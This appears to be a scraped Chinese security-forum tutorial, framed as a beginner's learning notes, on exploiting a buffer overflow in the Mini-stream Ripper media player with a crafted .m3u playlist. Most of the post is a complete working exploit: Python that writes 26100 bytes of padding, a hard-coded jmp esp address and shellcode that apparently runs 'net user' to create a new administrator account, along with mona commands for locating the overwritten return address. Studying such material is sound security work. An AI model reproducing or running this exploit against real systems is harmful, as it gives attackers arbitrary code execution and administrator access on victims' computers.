2
栏目分类
热点资讯
玩加电竞官方下载-玩加电竞 app 最新版本免费下载-应用宝官网
【英雄联盟比赛视频】— 全球英雄联盟职业比赛赛程— 全球职业选手比赛数据及视频— 职业选手符文,出装查询【王者荣耀超神助手】— KPL职业赛事查询,王者荣耀官方...
Lift Dollar中文网 你的位置:Saakuru Protocol 中文站 > Lift Dollar中文网 > [原创]Mini-streamRipper_regnow缓冲区溢出利用-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
[原创]Mini-streamRipper_regnow缓冲区溢出利用-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com 发布日期:2025-01-04 11:06    点击次数:177
0x00前记 新手一枚,刚开始接触缓冲区溢出,发现这玩意真的挺难的,幸的Bigtang不耐其烦的教我,是我有幸能进入缓冲区溢出道上。好了,本人比较渣,但笔记还是得做的,我想把我学习的过程分享出来,希望对于很多和我一样的新手有点帮助,足以。 0x01漏洞简要描述 漏洞程序为某多媒体播放软件,在打开播放文件时候,未对文件大小作检查,直接复制到内存。攻击者可以构造恶意文件覆盖EIP从而执行任意代码。 0X02检测溢出点 溢出发生在打开文件的时候,我们可以用python构造超长的文件,使得程序发生溢出。 _author__ = 'Netfairy_' filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名 myfile=open(filename,'w') #以写方式打开文件 filedata="A"*30000 #待写入的数据 myfile.write(filedata) #写入数据 myfile.close() #关闭文件 这里演示用mona.py计算溢出点,安装好debugger和mona插件以后。在command窗口输入(30000为溢出字符串的长度) !mona pattern_create 3000 然后打开pattern.txt。复制其中的字符串作为我们的溢出字符串。然后用这个字符串重新构造我们的恶意文件。接着打开它。异常,用debugger跟进去 发现EIP被覆盖为48306D48,输入 !mona pattern_offset 0x48306D48 如图可以看到溢出在5820+20280=26100处 0x03开始溢出 我们可以构造这样的exploit 填充字符串(26100)+jmp esp地址(4)+shellcode 我们随便查找一个jmp esp地址(注意不应有坏地址) 在metasploit找一段添加用户的shellcode "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\ "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\ "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\ "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\ "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\ "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\ "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\ "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\ "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\ "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\ "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\ "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\ "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7" 最后,完整的exploit构造是 #author www.netfairy.net# filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名 myfile=open(filename,'w') #以写方式打开文件 filedata="A"*26100+'\xDB\xFC\x3A\x75'+'\x90\x90\x90\x90'+"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\ "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\ "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\ "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\ "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\ "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\ "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\ "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\ "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\ "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\ "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\ "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\ "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7" myfile.write(filedata) #写入数据 myfile.close() #关闭文件 值得注意的是,这里我在JMP ESP地址后面加了四个\x90.因为我发现程序在return 后esp并不指向返回地址的后面,而是指向返回地址+4的地方。大家看 然后,运行我们构造的恶意文件test.m3u exploit执行成功,成功添加新用户。 0x04参考 -overflow-and-exploit-with-metasploit.html https://www.exploit-db.com 【注】原文首发在我的博客:www.netfairy.net,欢迎兴趣相同的朋友一起学习~~~ [培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法 上传的附件: 1.png (63.48kb,3次下载) 2.png (81.05kb,2次下载) 3.png (16.26kb,2次下载) 4.png (19.40kb,1次下载) 5.png (9.46kb,1次下载) 6.png (22.06kb,1次下载) 7.png (16.27kb,1次下载) 8.png (143.77kb,2次下载)